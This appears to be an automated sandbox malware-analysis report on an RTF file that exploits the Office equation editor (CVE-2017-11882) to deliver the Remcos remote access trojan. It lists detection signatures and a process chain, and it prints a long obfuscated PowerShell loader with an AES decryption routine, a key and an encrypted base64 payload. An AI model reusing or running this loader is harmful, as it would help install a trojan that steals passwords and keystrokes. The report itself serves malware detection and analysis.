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Windows
Analysis Report
4vzwJTZbwT.rtf
Overview
General Information
Sample name: | 4vzwJTZbwT.rtfrenamed because original name is a hash value |
Original sample name: | 7279ab0fbc0a02d8b6966ed3cdf67aca.rtf |
Analysis ID: | 1484115 |
MD5: | 7279ab0fbc0a02d8b6966ed3cdf67aca |
SHA1: | 4a6bef6dba00cc872e10b66b00786ace03e6443a |
SHA256: | 04714ec4a9cfa0304d2de5012ae1081850d2a2b080ad68831ba2c8385bda4d01 |
Tags: | rtf |
Infos: | |
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Remcos
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Delayed program exit found
Document exploit detected (process start blacklist hit)
Found potential equation exploit (CVE-2017-11882)
Injects a PE file into a foreign processes
Installs a global keyboard hook
Obfuscated command line found
Office drops RTF file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses dynamic DNS services
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains Microsoft Equation 3.0 OLE entries
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found URL in obfuscated visual basic script code
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w7x64
- WINWORD.EXE (PID: 2404 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\WINWOR D.EXE" /Au tomation - Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5) - EQNEDT32.EXE (PID: 2644 cmdline:
"C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) - wscript.exe (PID: 976 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\wesee thesimplet hingsalway stog.vBS" MD5: 979D74799EA6C8B8167869A68DF5204A) - powershell.exe (PID: 3076 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command ( ('((e4jfun ction Decr ypt-AESEnc ryption {P aram([Stri ng]TMIBase 64Text,[St ringe4j+e4 j]TMIKey)T MIe4j+e4ja esManaged = New-Obje ct System. See4j+e4jc urity.Cryp tography.A esManaged; TMIa'+'esM anagee4j+e 4'+'jd.Mod ee4j+e4j = [Syse4j+' +'e4jtem.S ecurity.Cr yptoge4j+e 4jraphy.e4 j+e'+'4jCi e4'+'j+e4j pherMode]: :CBC;TMIae sManaged.' +'Pae4j+e4 jddin'+'g = [System. Security.C ryptograph y.PaddingM ode]::Zero s;TMIaesMa naged.Bloc kSiz'+'e = 128;TMIae sManaged.K eySize = 2 56;'+'TMIa esManagee4 j+'+'e4jd. Key = ('+' New-Object e4'+'j+e4j System.Se curity.Cry ptography. SHA256Mana ged).Compu teHash([Sy ste'+'m.Te xt.Encodin g]::UTF8.G ee4j+e4jtB ytes(TMIKe y));TMIcip herBytes = [Syst'+'e m.Convert] ::FromBase 64String(T MIBase64Te xt);TMIaes Managed.IV '+'= TMIc ipherBytes [0..15];TM Idecryptor = TMIaesM anaged.Cre ateDecrypt or();TMIde cryptedByt es = TMIde cryptor.Tr ansformFin '+'alBlock (TMIcipher Bytes, 16, TMIcipher Bytes.Leng th - 16);e 4j+e4jTMIa e'+'sManag ed.D'+'isp ose('+');r eturn [Sys tem.Text.E ncoding]:: UTF8.GetSt ring'+'(TM Idecry'+'p tedBytes). Tre4j+e4ji m([char]0) ;}TMIchave = CnI8735 5924191917 5716572217 55980918Cn Ie4j+e4j;T MItextoCri ptogr'+'af adoBase4j+ e4je64 = ' +'CnIuNSTm XUI0HgFw3f dM1ERT/tun 0uBDlOiQyH JlmXQIhnec jctgQ65PlK spfuRkCDRj EPH4Ihki2I b6LDmK9phm 3xXkeNi+fc KsxPwgqQcH OTbxmi5geh OXzdiLKULS MHsRGtrAT4 hLirjCliJF HhPPoPAD8W rrNJOauPIb Q8LjKCbYXN 79XvsHb07Y d11FEz/xBr M4eb0d6oDj gTxHYLrzF6 J4EfbA9GRG mdc4tkwy2z lMYr0bFEZ+ TXcIkX6Moa woDSDQCJz8 W7GBp0wX7c DBpIBhIxab 4r+prVGaCC G+0+3uEp7n /keTDVANuL UjK7WM0vFC byd/wVRtzF 4youZwmOc3 oaCF/JrShl +say08x0Qp psCNvWz86o jjUOePGJsv 67aspbPc+M T7ExHDG3Nz cev9OvNfYy q2MjA+OyHp /F7vijb0t7 gbDYnwMe4H IfBgRkZkgh h0vLgZbfSO ZQmmNYaTrw wNG1StWUKe on1TmwO+GG 02RY5xYL9d VsfOHoro3Y jN0N+knyfS iTSLd8VpRG ssVO3vdtrX 83PC61AEKu wGmOKozlk3 nzEbypC+P8 jH/rC5lWjA 5zr77TSv/3 mL20F7OS9K dMcYBjEGje QBi2Go74vJ 2WeLC1Ow7M mkVoHZMjPL 4LBdcCDe3+ RcMbiLQBYC alcm5AUNss 21ha2+mb9s Y0foP8Ez4U EfMsUX1rlQ 2L4c8NimJO aGijgqysi/ 8/4pvNnD/s Dhqf9Jv/RJ y+DJdtvGCj d3eg+777E0 i3Zy2WWu4e dO5corcrRa O0QH5KUcez 0fY+pfnv3y cP5Njlg3ee 0PHZw6sMPA ER25mwo6Sd wnN/dBC6KJ XCNuDMBO0N SgE1NaaMlV svxYB09SoT LfOQfkI1HT VgxNTWGoMC wSo9fQJZ6v 2G6lGAw0fS jKOC9ekynu z2I6aDEVQh jeBtb0xHr2 FEqYELQ/pZ pkSkEkGIt2 Hk3LvIWcMI enJWqnjfen 61s15Yu2Ed gjIt9Mn3N8 vSlm2edKYH vSDcmrf7Gu /P8wb6OKnX NHosYcBbbF wXBRtzLtR0 7JaIq87PiG QKXkLtiP+S t5jLN1RKHu ViNAKANGwf M28rb84mku qGiXByiubZ nTAtp97cvh ahwn4PXpi1 Kez7/kbaDD KXCvVKN3TK 4hLXC8Ot+r pc8CCzkwpZ ACGoSzxk3W PrLHnyjTQ6 zn0qE6SrOQ CIe3FfGGvi cERREowxQv bpIw9uSzA1 7OsC636M5z XSToQgHiyA km/dDk+wHf